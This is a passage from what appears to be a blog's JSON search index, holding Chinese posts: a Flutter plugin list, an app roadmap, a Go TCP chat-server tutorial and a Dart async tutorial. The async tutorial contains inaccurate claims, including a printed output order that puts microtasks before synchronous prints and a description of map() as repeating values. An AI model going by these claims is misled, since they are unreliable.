注解和反射的示例代码"},{"content":" ","permalink":"https://widegram.com/2021/12/Flutter-Cupertino-Icons/","summary":" ","title":"Backup of Flutter Cupertino Icons' Gallery"},{"content":"通用零部件\n按钮 flutter_awesome_buttons | Flutter Package (flutter-io.cn) 文字格式检测 string_validator | Dart Package (flutter-io.cn) 本地存储 objectbox | Dart Package (flutter-io.cn) ffloat/README_CN.md at master · Fliggy-Mobile/ffloat (github.com) Slideable flutter_slidable | Flutter Package (flutter-io.cn) 文字动画效果 animated_text_kit | Flutter Package (flutter-io.cn) 分享页面 share_plus | Flutter Package (flutter-io.cn) flutter_share | Flutter Package (flutter-io.cn) !!scrollbar flutter_improved_scrolling | Flutter Package (flutter-io.cn) vs_scrollbar | Flutter Package (flutter-io.cn) scroll_to_id | Flutter Package (flutter-io.cn) 下拉加载更多 infinite_scroll_pagination | Flutter Package (flutter-io.cn) loadmore | Flutter Package (flutter-io.cn) very_good_infinite_list | Flutter Package (flutter-io.cn) tooltip just_the_tooltip | Flutter Package (flutter-io.cn) 位置信息 location | Flutter Package (flutter-io.cn) apple id登陆 sign_in_with_apple | Flutter Package (flutter-io.cn) 背景模糊 flutter_blurhash | Flutter Package (flutter-io.cn) 加载中 sleek_circular_slider | Flutter Package (flutter-io.cn) progress_indicators | Flutter Package (flutter-io.cn) skeleton_loader | Flutter Package (flutter-io.cn) 升级提醒 upgrader | Flutter Package (flutter-io.cn) html渲染 flutter_widget_from_html | Flutter Package (flutter-io.cn) 选择器 direct_select_flutter | Flutter Package (flutter-io.cn) 不同大小的屏幕适应 layout | Flutter Package (flutter-io.cn) snackbar top_snackbar_flutter | Flutter Package (flutter-io.cn) 无context one_context | Flutter Package (flutter-io.cn) 截屏时更多选项！feedback | Flutter Package (flutter-io.cn) 底部自动隐藏！scroll_bottom_navigation_bar | Flutter Package (flutter-io.cn) 测试 测试所有页面 flutter_storyboard | Flutter Package (flutter-io.cn) 扫描二维码 barcode_scan2 | Flutter Package (flutter-io.cn) 内部webview flutter_custom_tabs | Flutter Package (flutter-io.cn) 登录页面 bluemix/Gradient-Screens: 🌈 Gradients applied to buttons, texts and backgrounds in Flutter (github.com) 使用教程 coachmaker | Flutter Package (flutter-io.cn) 开屏加载页面\nflutter_native_splash | Dart Package (flutter-io.cn) 卡片式后台切换 flutter_swiper | Flutter Package (flutter-io.cn) 选择关注的标签 multi_select_flutter | Flutter Package (flutter-io.cn) 第一次启动时的页面指引 fancy_on_boarding | Flutter Package (flutter-io.cn) intro_slider | Flutter Package (flutter-io.cn) 社区页面 reorder 选择关注的社区：filter_list | Flutter Package (flutter-io.cn) 从新排序 reorderables | Flutter Package (flutter-io.cn) 顶部切换器 bubble_tab_indicator | Flutter Package (flutter-io.cn) 设置页面 cupertino_list_tile | Flutter Package (flutter-io.cn) 用户信息主页 点击展开属性chip star_menu | Flutter Package (flutter-io.cn) 更多信息 solid_bottom_sheet | Flutter Package (flutter-io.cn) sliverbar_with_card | Flutter Package (flutter-io.cn) Markdown编辑器\n撤销/重做 undo | Dart Package (flutter-io.cn) 键盘定制！keyboard_actions | Flutter Package (flutter-io.cn) 同步\nflutter_wordpress | Flutter Package (flutter-io.cn) 图库 点按多选 消息页面 tabbar scroll_navigation | Flutter Package (flutter-io.cn) FAB 按钮 不可拖动上滑自动隐藏，下滑自动出现：gradient_fab | Flutter Package (flutter-io.cn) 可拖动，滑动时隐藏：draggable_float_widget | Flutter Package (flutter-io.cn) 拖动，自动吸附，不自动隐藏：assistive_touch | Flutter Package (flutter-io.cn) floatingpanel | Flutter Package (flutter-io.cn) 搜索！Imgkl/anim_search_bar: A flutter package that has an animated search bar with loads of customization (github.com) 展开 全页面展开 animated_fab_button_menu | Flutter Package (flutter-io.cn) 展开+文字 flutter_speed_dial | Flutter Package (flutter-io.cn) floating_action_bubble | Flutter Package (flutter-io.cn) simple_speed_dial | Flutter Package (flutter-io.cn) 写动态！ floaty_head | Flutter Package (flutter-io.cn) flash | Flutter Package (flutter-io.cn) toast\nfluttertoast | Flutter Package (flutter-io.cn) Flutter：\nMD编辑器：BertrandBev/code_field: A customizable code text field supporting syntax highlighting (github.com) 解决Flutter拼音输入过程回调问题 - 掘金 (juejin.cn) MD预览：flutter_markdown | Flutter Package (flutter-io.cn) GITHUB API：github | Dart Package (flutter-io.cn) debug flutter_ume | Flutter Package (flutter-io.cn) ！“社区”页面scroll_navigation | Flutter Package (flutter-io.cn) icons microsoft/fluentui-system-icons: Fluent System Icons are a collection of familiar, friendly and modern icons from Microsoft. (github.com) Icons | Font Awesome 头像装饰 iPad版 macOS界面 macos_ui | Flutter Package (flutter-io.cn) device_simulator | Flutter Package (flutter-io.cn) UI 套件 getwidget | Flutter Package (flutter-io.cn) gradient_ui_widgets | Flutter Package (flutter-io.cn) flutter_awesome_buttons | Flutter Package (flutter-io.cn) velocity_x | Flutter Package (flutter-io.cn) fluent_ui | Flutter Package (flutter-io.cn) 配色 flex_color_scheme | Flutter Package (flutter-io.cn) flutter_stripe | Flutter Package (flutter-io.cn) flui/README-zh_CN.md at master · Rannie/flui (github.com) 设置页面选项 cupertino_list_tile | Flutter Package (flutter-io.cn) 刷新完成 snackbar another_flushbar | Flutter Package (flutter-io.cn) 撤销/重做 undo | Dart Package (flutter-io.cn) 点击展开菜单 star_menu | Flutter Package (flutter-io.cn) 作者个人主页 draggable_home | Flutter Package (flutter-io.cn) 天气背景（表达心情、作者所在当地天气表达与之的连接）flutter_weather_bg_null_safety | Flutter Package (flutter-io.cn) （评论页面）sliding_panel_pro | Flutter Package (flutter-io.cn) floating_pullup_card | Flutter Package (flutter-io.cn) 搜索页面 search_page | Flutter Package (flutter-io.cn) material_floating_search_bar | Flutter Package (flutter-io.cn) floating_search_bar | Flutter Package (flutter-io.cn) 页面跳转动画 swipeable_page_route | Flutter Package (flutter-io.cn) 边缘滑动更多操作 slidable_bar | Flutter Package (flutter-io.cn) 下拉刷新 flutter_easyrefresh | Flutter Package (flutter-io.cn) 特性介绍 flutter_onboarding_slider | Flutter Package (flutter-io.cn) 关注列表（快速跳转）azlistview | Flutter Package (flutter-io.cn) scrollable_list_tabview | Flutter Package (flutter-io.cn) 文字 + circularrefresh flutter_hud | Flutter Package (flutter-io.cn) ListTile GroovinChip/groovin_widgets: A Flutter package containing widgets created by GroovinChip. (github.com) fab： 自动吸附边缘、可拖动、滑动自动隐藏：（！）gradient_fab | Flutter Package (flutter-io.cn) draggable_float_widget | Flutter Package (flutter-io.cn) draggable_fab | Flutter Package (flutter-io.cn) assistive_touch | Flutter Package (flutter-io.cn) animated_fab_button_menu | Flutter Package (flutter-io.cn) speed_dial_fab | Flutter Package (flutter-io.cn) hawk_fab_menu | Flutter Package (flutter-io.cn) animated_floating_buttons | Flutter Package (flutter-io.cn) flutter_speed_dial | Flutter Package (flutter-io.cn) floating_action_bubble | Flutter Package (flutter-io.cn) simple_speed_dial | Flutter Package (flutter-io.cn) Mohanraj153/flutter_boom_menu: Flutter plugin to implement a Boom Menu, with icons, title, subtitle, animated FAB Icons and hide on scrolling. (github.com) 底部 floating_bottom_navigation_bar | Flutter Package (flutter-io.cn) convex_bottom_bar/README-zh.md at master · hacktons/convex_bottom_bar (github.com) floating_navbar | Flutter Package (flutter-io.cn) curved_navigation_bar | Flutter Package (flutter-io.cn) flutter_snake_navigationbar | Flutter Package (flutter-io.cn) persistent_bottom_nav_bar | Flutter Package (flutter-io.cn) ！custom_navigation_bar | Flutter Package (flutter-io.cn) animated_bottom_navigation_bar | Flutter Package (flutter-io.cn) bottom_navy_bar | Flutter Package (flutter-io.cn) salomon_bottom_bar | Flutter Package (flutter-io.cn) ！bubble_bottom_bar | Flutter Package (flutter-io.cn) bottom_personalized_dot_bar | Flutter Package (flutter-io.cn) cuberto_bottom_bar | Flutter Package (flutter-io.cn) extended_navbar_scaffold | Flutter Package (flutter-io.cn) bottom_bar | Flutter Package (flutter-io.cn) ！私聊界面 + 个人心情列表 sticky_grouped_list | Flutter Package (flutter-io.cn) papercups_flutter | Flutter Package (flutter-io.cn) grouped_list | Flutter Package (flutter-io.cn) dash_chat | Flutter Package (flutter-io.cn) navbar dot_navigation_bar | Flutter Package (flutter-io.cn) tabbar tab_indicator_styler | Flutter Package (flutter-io.cn) buttons_tabbar | Flutter Package (flutter-io.cn) shifting_tabbar | Flutter Package (flutter-io.cn) scrollable_list_tabview | Flutter Package (flutter-io.cn) aliyigitbireroglu/flutter-cupertino-tabbar (github.com) vertical_tab_bar_view | Flutter Package (flutter-io.cn) drawer drawerbehavior | Flutter Package (flutter-io.cn) curved_drawer_fork | Flutter Package (flutter-io.cn) backdrop | Flutter Package (flutter-io.cn) flutter_inner_drawer | Flutter Package (flutter-io.cn) flutter_slider_drawer | Flutter Package (flutter-io.cn) drawer_swipe | Flutter Package (flutter-io.cn) shrink_sidemenu | Flutter Package (flutter-io.cn) foldable_sidebar | Flutter Package (flutter-io.cn) collapsible_sidebar | Flutter Package (flutter-io.cn) 树形展开 flutter_admin_scaffold | Flutter Package (flutter-io.cn) 评论 查看评论 sliding_up_panel | Flutter Package (flutter-io.cn) 点击评论 flutter_overlay | Flutter Package (flutter-io.cn) bottom_bar_with_sheet | Flutter Package (flutter-io.cn) sliding_sheet | Flutter Package (flutter-io.cn) expandable_bottom_bar | Flutter Package (flutter-io.cn) we_slide | Flutter Package (flutter-io.cn) 随键盘弹出！keyboard_attachable | Flutter Package (flutter-io.cn) 登陆界面动态背景 floating_bubbles | Flutter Package (flutter-io.cn) passwordfield | Flutter Package (flutter-io.cn) 有趣的动画效果 dough | Flutter Package (flutter-io.cn) markdown功能 radar_chart | Flutter Package (flutter-io.cn) graphview 生成pdf pdf | Dart Package (flutter-io.cn) 打开地图 map_launcher | Flutter Package (flutter-io.cn) 图像编辑 image_editor_pro | Flutter Package (flutter-io.cn) !点击图片查看大图overscroll_pop | Flutter Package (flutter-io.cn) 心情/评论显示框textspan extended_text | Flutter Package (flutter-io.cn) Scaffold master_detail_scaffold | Flutter Package (flutter-io.cn) 教学 overlay_tutorial | Flutter Package (flutter-io.cn) ","permalink":"https://widegram.com/2021/11/flutter-plugins/","summary":"通用零部件\n按钮 flutter_awesome_buttons | Flutter Package (flutter-io.cn) 文字格式检测 string_validator | Dart Package (flutter-io.cn) 本地存储 objectbox | Dart Package (flutter-io.cn) ffloat/README_CN.md at master · Fliggy-Mobile/ffloat (github.com) Slideable flutter_slidable | Flutter Package (flutter-io.cn) 文字动画效果 animated_text_kit | Flutter Package (flutter-io.cn) 分享页面 share_plus | Flutter Package (flutter-io.cn) flutter_share | Flutter Package (flutter-io.cn) !!scrollbar flutter_improved_scrolling | Flutter Package (flutter-io.cn) vs_scrollbar | Flutter Package (flutter-io.cn) scroll_to_id | Flutter Package (flutter-io.cn) 下拉加载更多 infinite_scroll_pagination | Flutter Package (flutter-io.cn) loadmore | Flutter Package (flutter-io.","title":"Flutter插件列表"},{"content":" Flutter 2.5+ GetX Code Field Flutter Markdown Github API Dio Vue 3 Vuex Nuxtjs Spring Spring Framework SpringMVC Spring Boot Spring Cloud Spring Security RocketMQ MeiliSearch / kala MongoDB AIRec TODO 前端 个人页面设计（参考Linktree、mo.run、about.me） 简历设计（pdf导出），参考Resume应用 增加富文本编辑器（Zefyrka） 私聊页面 \u0026ldquo;通知\u0026quot;页面 设置页面 桌面端/iPad端适配 后端 SSO（Authing.cn） Github同步机制（github API） Wp/Typecho 同步插件 图床系统 \u0026ldquo;想法\u0026quot;系统 评论/点赞 转发 话题系统 统计系统（用户数据分析，诸葛io） “文章”系统 访问统计（用户数据分析，诸葛io） 评论/点赞/感谢 搜索系统（meilisearch） 推荐系统 versions list Alpha 20220110 阻止mood的sharpwrapped的ontap手势溢出到span后面 图片库（二指捏拉缩放） 制作了简单的qrcode 制作了简单的CardPage 天气背景用户信息 Alpha 20220105 修复了文章页面CodeBlock与SwipeBack的手势冲突 修复了用户详情页面SwipeBack的手势冲突 用户详情页面上拉、下拉动作 聊天页面设计 丰富首页Drawer设计 “动态”页面初步设计 MyPage Toast Alpha 20211220 添加了关注页面的“经常点击” TODO Zefyrka替换Markdown编辑器 TODO 上拉下拉加载更多 Alpha 20211216 将图标风格改成了Cupertino样式 制作了文章页面的样式（底栏） 将目录功能引入文章页面 Alpha 20211215 实现了全屏滑动返回 解决了返回手势与TabBarView的冲突问题（UserDetailPage） Alpha 20211212 解决了跨SelectableText的选择问题 添加了Undo/Redo按钮 Alpha 20211211 使用Coordinator改写了NestedScrollView，修复了“我的”页面的滑动冲突 使用HsuTabBarView解决了多TabView页面切换滑动时的冲突(卡住)问题 使用AnimatedSwitcher重写了Tabbar右侧的ActionButton Alpha 20211209 添加了简易的章节目录跳转功能 修复了Keyboard Toolbar遮挡文字的bug 添加了表情定制软键盘 Alpha 20211201 “新文章”页面添加了自定义的keyboard toolbar 将预览功能改为tabbar的形式 Alpha 20211127 实现了markdown渲染的代码高亮、latex解析，并简单排版了一下 用户个人页面 Alpha 20211120 为“动态”添加了表情、hashtag、at功能 Alpha 20211118 “新文章”页面markdown源代码高亮，实现了简单预览 Alpha 20211116 “社区”页面 “我的”页面，并制作了简单的后端实例 修复了“我的”页面左侧drawer遮挡bottom tab的问题 ","permalink":"https://widegram.com/2021/11/project-p14/","summary":" Flutter 2.5+ GetX Code Field Flutter Markdown Github API Dio Vue 3 Vuex Nuxtjs Spring Spring Framework SpringMVC Spring Boot Spring Cloud Spring Security RocketMQ MeiliSearch / kala MongoDB AIRec TODO 前端 个人页面设计（参考Linktree、mo.run、about.me） 简历设计（pdf导出），参考Resume应用 增加富文本编辑器（Zefyrka） 私聊页面 \u0026ldquo;通知\u0026quot;页面 设置页面 桌面端/iPad端适配 后端 SSO（Authing.cn） Github同步机制（github API） Wp/Typecho 同步插件 图床系统 \u0026ldquo;想法\u0026quot;系统 评论/点赞 转发 话题系统 统计系统（用户数据分析，诸葛io） “文章”系统 访问统计（用户数据分析，诸葛io） 评论/点赞/感谢 搜索系统（meilisearch） 推荐系统 versions list Alpha 20220110 阻止mood的sharpwrapped的ontap手势溢出到span后面 图片库（二指捏拉缩放） 制作了简单的qrcode 制作了简单的CardPage 天气背景用户信息 Alpha 20220105 修复了文章页面CodeBlock与SwipeBack的手势冲突 修复了用户详情页面SwipeBack的手势冲突 用户详情页面上拉、下拉动作 聊天页面设计 丰富首页Drawer设计 “动态”页面初步设计 MyPage Toast Alpha 20211220 添加了关注页面的“经常点击” TODO Zefyrka替换Markdown编辑器 TODO 上拉下拉加载更多 Alpha 20211216 将图标风格改成了Cupertino样式 制作了文章页面的样式（底栏） 将目录功能引入文章页面 Alpha 20211215 实现了全屏滑动返回 解决了返回手势与TabBarView的冲突问题（UserDetailPage） Alpha 20211212 解决了跨SelectableText的选择问题 添加了Undo/Redo按钮 Alpha 20211211 使用Coordinator改写了NestedScrollView，修复了“我的”页面的滑动冲突 使用HsuTabBarView解决了多TabView页面切换滑动时的冲突(卡住)问题 使用AnimatedSwitcher重写了Tabbar右侧的ActionButton Alpha 20211209 添加了简易的章节目录跳转功能 修复了Keyboard Toolbar遮挡文字的bug 添加了表情定制软键盘 Alpha 20211201 “新文章”页面添加了自定义的keyboard toolbar 将预览功能改为tabbar的形式 Alpha 20211127 实现了markdown渲染的代码高亮、latex解析，并简单排版了一下 用户个人页面 Alpha 20211120 为“动态”添加了表情、hashtag、at功能 Alpha 20211118 “新文章”页面markdown源代码高亮，实现了简单预览 Alpha 20211116 “社区”页面 “我的”页面，并制作了简单的后端实例 修复了“我的”页面左侧drawer遮挡bottom tab的问题 ","title":"Project P14 技术方向 ver 1.2"},{"content":"main.go\npackage main func main(){ server := NewServer(\u0026#34;127.0.0.1\u0026#34;, 8888) server.Start() } server.go\npackage main import( \u0026#34;fmt\u0026#34; \u0026#34;net\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;io\u0026#34; \u0026#34;time\u0026#34; ) type Server struct { Ip string Port int //在线用户列表 OnlineMap map[string]*User mapLock sync.RWMutex //消息广播channel Message chan string } func NewServer(ip string,port int) *Server { server := \u0026amp;Server { Ip:\tip, Port:\tport, OnlineMap: make(map[string]*User), Message: make(chan string), } return server } //监听Message广播消息channel的goroutine，一旦有消息就发送给全部在线的User func (this *Server) ListenMessager() { for { msg := \u0026lt;-this.Message //发送给全部到在线User this.mapLock.Lock() for _, cli := range this.OnlineMap { cli.C \u0026lt;- msg } this.mapLock.Unlock() } } func (this *Server) Broadcast(user *User, msg string) { sendMsg := \u0026#34;[\u0026#34; + user.Addr + \u0026#34;]\u0026#34; + user.Name + \u0026#34;:\u0026#34; + msg this.Message \u0026lt;- sendMsg } func (this *Server) Handler(conn net.Conn) { //fmt.Println(\u0026#34;linked ok\u0026#34;) //用户上线了,将用户加入到onlineMap user := NewUser(conn,this) user.Online() //用户是否活跃 isLive := make(chan bool) go func() { buf := make([]byte, 4096) for { n, err := conn.Read(buf) if n==0 { user.Offline() return } if err != nil \u0026amp;\u0026amp; err != io.EOF { fmt.Println(\u0026#34;conn read err\u0026#34;, err) return } //提取用户消息（去掉\u0026#39;\\n\u0026#39;） msg := string(buf[:n-1]) //消息处理 user.DoMessage(msg) //用户依然活跃 isLive \u0026lt;- true } }() //当前handler阻塞 for { select { case \u0026lt;- isLive: case \u0026lt;- time.After(time.Second * 300)://更新计时器 //已经超时 //强制关闭当前的User user.SendMessage(\u0026#34;你被踢了\\n\u0026#34;) close(user.C) conn.Close() return //runtime.Goexit() } } } func (this *Server) Start() { //socket listen listener, err := net.Listen(\u0026#34;tcp\u0026#34;, fmt.Sprintf(\u0026#34;%s:%d\u0026#34;, this.Ip, this.Port)) if err != nil { fmt.Println(\u0026#34;net.listen err:\u0026#34;, err) return } //close listen socket defer listener.Close() //启动监听 go this.ListenMessager() for { //accept conn, err := listener.Accept() if err != nil { fmt.Println(\u0026#34;listener.accept err:\u0026#34;,err) continue } //do handler go this.Handler(conn) } } user.go\npackage main import ( \u0026#34;net\u0026#34; \u0026#34;strings\u0026#34; ) type User struct { Name\tstring Addr\tstring C\tchan string conn net.Conn server *Server } func NewUser(conn net.Conn, server *Server) *User { userAddr := conn.RemoteAddr().String() user := \u0026amp;User { Name: userAddr, Addr: userAddr, C:\tmake(chan string), conn: conn, server:server, } go user.ListenMessage() return user } //用户上线 func (this *User) Online(){ this.server.mapLock.Lock() this.server.OnlineMap[this.Name] = this this.server.mapLock.Unlock() this.server.Broadcast(this, \u0026#34;上线了\u0026#34;) } //用户下线 func (this *User) Offline(){ this.server.mapLock.Lock() delete(this.server.OnlineMap, this.Name) this.server.mapLock.Unlock() this.server.Broadcast(this, \u0026#34;下线了\u0026#34;) } //发送消息给user func (this *User) SendMessage(msg string){ this.conn.Write([]byte(msg)) } //处理消息 func (this *User) DoMessage(msg string){ if msg == \u0026#34;who\u0026#34; { //查询所有用户信息 this.server.mapLock.Lock() for _, user := range this.server.OnlineMap { onlineMsg := \u0026#34;[\u0026#34; + user.Addr + \u0026#34;]\u0026#34; + user.Name + \u0026#34;: 在线...\\n\u0026#34; this.SendMessage(onlineMsg) } this.server.mapLock.Unlock() } else if len(msg) \u0026gt; 7 \u0026amp;\u0026amp; msg[:7] == \u0026#34;rename|\u0026#34; { //改名 newName := strings.Split(msg, \u0026#34;|\u0026#34;)[1] //名字是否重复 _, ok := this.server.OnlineMap[newName] if ok { this.SendMessage(\u0026#34;用户名已被使用！\\n\u0026#34;) } else { this.server.mapLock.Lock() delete(this.server.OnlineMap, this.Name) this.server.OnlineMap[newName] = this this.server.mapLock.Unlock() } } else if len(msg) \u0026gt; 4 \u0026amp;\u0026amp; msg[:3] == \u0026#34;to|\u0026#34; { //私聊功能 //1 获取对方用户名 remoteName := strings.Split(msg, \u0026#34;|\u0026#34;)[1] if remoteName == \u0026#34;\u0026#34; { this.SendMessage(\u0026#34;消息格式不正确！\\n\u0026#34;) return } remoteUser, ok := this.server.OnlineMap[remoteName] if !ok { this.SendMessage(\u0026#34;用户名不存在\\n\u0026#34;) return } content := strings.Split(msg, \u0026#34;|\u0026#34;)[2] if content == \u0026#34;\u0026#34; { this.SendMessage(\u0026#34;空消息无法发送！\\n\u0026#34;) return } remoteUser.SendMessage(this.Name + \u0026#34;向您发送\u0026#34; + content + \u0026#34;\\n\u0026#34;) //2 找到对方user对象 //3 发送内容 } else { this.server.Broadcast(this, msg) } } //监听当前user的channel，有消息就写入对端客户端 func (this *User) ListenMessage(){ for{ msg := \u0026lt;-this.C this.conn.Write([]byte(msg + \u0026#34;\\n\u0026#34;)) } } ","permalink":"https://widegram.com/2021/11/golang-chat/","summary":"main.go\npackage main func main(){ server := NewServer(\u0026#34;127.0.0.1\u0026#34;, 8888) server.Start() } server.go\npackage main import( \u0026#34;fmt\u0026#34; \u0026#34;net\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;io\u0026#34; \u0026#34;time\u0026#34; ) type Server struct { Ip string Port int //在线用户列表 OnlineMap map[string]*User mapLock sync.RWMutex //消息广播channel Message chan string } func NewServer(ip string,port int) *Server { server := \u0026amp;Server { Ip:\tip, Port:\tport, OnlineMap: make(map[string]*User), Message: make(chan string), } return server } //监听Message广播消息channel的goroutine，一旦有消息就发送给全部在线的User func (this *Server) ListenMessager() { for { msg := \u0026lt;-this.","title":"Golang TCP 即时通讯实例"},{"content":"一、异步入门 1.1 async和await 这两个关键词的本质是语法糖。例如：\nvoid _increment() async { await Future.delayed(Duration(seconds: 1)); setState((){ _counter++; }); } 等价于：\nvoid _increment() { Future.delayed(Duration(seconds: 1),(){ setState((){ _counter++; }); }); } 或者：\nvoid _increment() { Future.delayed(Duration(seconds: 1)).then( (value) =\u0026gt; setState((){ _counter++; }) ); } ​\t这里需要纠正一个误区：就像JS那样，dart的异步操作并非多线程。在dart中，每一个线程都被isolate包裹，它们之间不能共享内存，也就避免了死锁问题，降低了程序复杂度，提升GC的性能。线程之间使用消息队列来通信。\n​\t一个线程怎么处理等待事件呢？这里就要用到Event Loop机制。内置一个Event Queue和MicroTask Queue，只要MicroTask Queue中还有事件没有处理完，则先处理这里面的事件，而此时EventQueue中的事件一个都不会被执行。使用scheduleMicrotask()来向Microtask Queue添加事件。\nvoid main(){ Future(() =\u0026gt; print(\u0026#39;A\u0026#39;)); print(\u0026#39;B\u0026#39;); } //打印结果：BA ​\t这里我们还是要提醒一下，只有在出现需要等待的事件时，EventLoop机制才能发挥作用。如果卡顿是因为计算量过大造成的，那么只有多开几个Isolate（线程）来解决了。\n1.2 运行时机 直接运行：Future.sync()、Future.value()、_.then()\nMicrotask：scheduleMicrotask()、Future.microtask()、_completed.then()\nEvent：Future()、Future.delayed()\n1.3 运行时机举例 直接运行\nvoid main(){ print(\u0026#34;1\u0026#34;); Future.value(func()); print(\u0026#34;3\u0026#34;); } String func(){ print(\u0026#34;2\u0026#34;); return \u0026#34;\u0026#34;; }//输出结果：123 void main(){ print(\u0026#34;1\u0026#34;); Future.sync(()=\u0026gt;print(\u0026#34;2\u0026#34;)); print(\u0026#34;3\u0026#34;); }//输出结果：123 Event：\n以http请求来说：\nhttp.get(\u0026#39;www.baidu.com\u0026#39;) .then((value)=\u0026gt;{null}) .catchError(...);\t//返回一个Future 函数返回Future，这里看起来Future是立刻执行的，但实际上要在下一个循环中才会被执行：\nFuture\u0026lt;String\u0026gt; getFuture(){ return Future(() =\u0026gt; \u0026#34;alice\u0026#34;); } void main(){ getFuture().then((value)=\u0026gt;print(value)); print(\u0026#34;hi\u0026#34;); } //打印结果：hi alice 来个大汇总吧：\nvoid main(){ Future.delayed(Duration(seconds: 1),() =\u0026gt; print(\u0026#34;event 3\u0026#34;)); Future.delayed(Duration.zero, ()=\u0026gt;print(\u0026#34;event 2\u0026#34;)); Future(()=\u0026gt;print(\u0026#34;event 1\u0026#34;));//这里的event 1与event 2等价，调换语句顺序，执行顺序也会对应调换 scheduleMicrotask(()=\u0026gt;print(\u0026#34;mtask 1\u0026#34;)); Future.microtask(()=\u0026gt;print(\u0026#34;mtask 2\u0026#34;)); Future.value(123).then((value)=\u0026gt;print(\u0026#34;mtask 3\u0026#34;));\t//_completed.then() print(\u0026#34;main 1\u0026#34;); Future.sync(()=\u0026gt;print(\u0026#34;sync 1\u0026#34;)); print(\u0026#34;main 2\u0026#34;); } /* 输出结果： mtask 1 mtask 2 mtask 3 event 2 event 1\tevent 3 main 1 sync 1 main 2 */ 最后落下一个会立即执行的_.then()：\nFuture.delayed(Duration(seconds: 1),() =\u0026gt; print(\u0026#34;delayed\u0026#34;)) .then((value){ scheduleMicrotask(()=\u0026gt;print(\u0026#34;micro\u0026#34;)); print(\u0026#34;then\u0026#34;); }).then((value)=\u0026gt;print(\u0026#34;then 2\u0026#34;)); //结果：delayed then then2 micro 1.4 error和whenComplete getFuture() .then((value)=\u0026gt;print(value)) .catchError((err)=\u0026gt;print(err)) .whenComplete(()=\u0026gt;print(\u0026#34;complete\u0026#34;)); Future\u0026lt;String\u0026gt; getFuture(){ return Future.error(Exception(\u0026#34;wrong\u0026#34;)); } //wrong complete 二、Builder和Controller 2.1 FutureBuilder body: FutureBuilder( future: Future.value(123), builder: (context, AsyncSnapshot\u0026lt;dynamic\u0026gt; snapshot){ //snapshot代表最近的状态：未完成、完成、出错 if(snapshot.connectionState == ConnectionState.waiting){ return CircularProgressIndicator(); } else if(snapshot.connectionState == ConnectionState.done){ if(snapshot.hasError){ return Text(\u0026#34;error\u0026#34;); } else { return Text(\u0026#34;${snapshot.data}\u0026#34;);\t//data和error只有一个有数据 } } //none代表前面设置了future: null，不可能发生；而active设计Stream，暂不考虑 throw \u0026#34;should not happen\u0026#34;; } ) //更加可读 body: FutureBuilder( future: Future.value(123), initialData: 72,\t//未完成时snapshot.data = 72 builder: (context, AsyncSnapshot\u0026lt;dynamic\u0026gt; snapshot){ if(snapshot.hasError){ return Icon(Icons.error, size:80); } else if(snapshot.hasData){ return Text(\u0026#34;${snapshot.data}\u0026#34;); } else { return CircularProgressIndicator(); } } ) ​\t值得一提的是，snapshot中的error和data属性只能有一个存在值，如果出错，flutter会先删除原来data中的initialData，再填上对应的error。\n2.2 Stream和StreamBuilder Future负责在以后给我们一个值，而stream则会在以后给我们很多值。\nfinal future = Future.delayed(Duration(seconds: 1), ()=\u0026gt;42); final stream = Stream.periodic(Duration(seconds: 1), (_) =\u0026gt; 42); @override void initialState(){ future.then(...); stream.listen((event){ print(\u0026#34;stream: $event\u0026#34;); }); //... } 可以使用StreamBuilder监控stream：\nbody: StreamBuilder( stream: stream, builder: (context, AsyncSnapshot\u0026lt;dynamic\u0026gt; snapshot) { //可以使用switch来判断snapshot.connectionState //... } ) ​\tStream和Future的区别之一就在于，Future是在结束（done）的时候返回一个data或error，而Stream是在active的状态返回一个data或error，而stream一旦处于done状态，那么向stream发送数据就会引发异常。\n2.3 StreamController 形象地说，Stream就像水流，sink就像水龙头（数据来源），StreamController会同时创建这两者：\nfinal controller = StreamController(); controller.sink.add(72);//添加一个值，数据类型可以混搭 controller.sink.addError(\u0026#34;error\u0026#34;);//添加错误 controller.stream.listen((event) { });//处理事件 controller.close();//关闭流 使用StreamBuilder：\nbody: StreamBuilder( stream: controller.stream,\t//监听controller builder: (context, AsyncSnapshot\u0026lt;dynamic\u0026gt; snapshot) { //可以使用switch来判断snapshot.connectionState //... } ) 2.4 Stream.broadcast() ​\t一般来说，一个Stream只能被一方监听，同时未被接受的数据会被缓存；反过来说，使用Stream.broadcast创建的广播流可以被多方监听，但未被接受的数据不再会被缓存。\n三、Stream高级操作 3.1 Stream.map 例如：\nstream: controller.stream.map((event) =\u0026gt; event * 2), 上面的代码将会将流中的数据重复两次输出。\n3.2 Stream.where stream: controller.stream.where((event) =\u0026gt; event is int), 上面的代码只会允许int类型的数据通过。\n3.3 Stream.distinct stream: controller.stream.distinct(), 上面的代码将会过滤重复的值。\n3.4 async* Stream\u0026lt;int\u0026gt; getNumbers() async* { while(true){ await Future.delayed(Duration(seconds: 1)); yield 1; } } //StreamBuilder使用该流 StreamBuilder( stream: getTime(), builder: (...) { ... } ) 上面的代码使用async*关键字，每一秒钟会向流中发送一个数字。\n3.5 流中的状态——Stream.transform StreamBuilder{ stream: _controller.stream.transform(TallyTransformer()), //.... } //定义自己的TallyTransformer class TallyTransformer implements StreamTransformer { int sum = 0; StreamController _controller = StreamController(); @override Stream bind(Stream stream){ stream.listen((event) {\t//我们听源头的这个stream sum += event; _controller.add(sum); }); return _controller.stream;\t//他人听的是这个新的stream } @override StreamTransformer\u0026lt;RS, RT\u0026gt; cast\u0026lt;RS, RT\u0026gt;() =\u0026gt; StreamTransformer.castFrom(this);\t//类型转换 } ","permalink":"https://widegram.com/2021/11/flutter-async/","summary":"一、异步入门 1.1 async和await 这两个关键词的本质是语法糖。例如：\nvoid _increment() async { await Future.delayed(Duration(seconds: 1)); setState((){ _counter++; }); } 等价于：\nvoid _increment() { Future.delayed(Duration(seconds: 1),(){ setState((){ _counter++; }); }); } 或者：\nvoid _increment() { Future.delayed(Duration(seconds: 1)).then( (value) =\u0026gt; setState((){ _counter++; }) ); } ​\t这里需要纠正一个误区：就像JS那样，dart的异步操作并非多线程。在dart中，每一个线程都被isolate包裹，它们之间不能共享内存，也就避免了死锁问题，降低了程序复杂度，提升GC的性能。线程之间使用消息队列来通信。\n​\t一个线程怎么处理等待事件呢？这里就要用到Event Loop机制。内置一个Event Queue和MicroTask Queue，只要MicroTask Queue中还有事件没有处理完，则先处理这里面的事件，而此时EventQueue中的事件一个都不会被执行。使用scheduleMicrotask()来向Microtask Queue添加事件。\nvoid main(){ Future(() =\u0026gt; print(\u0026#39;A\u0026#39;)); print(\u0026#39;B\u0026#39;); } //打印结果：BA 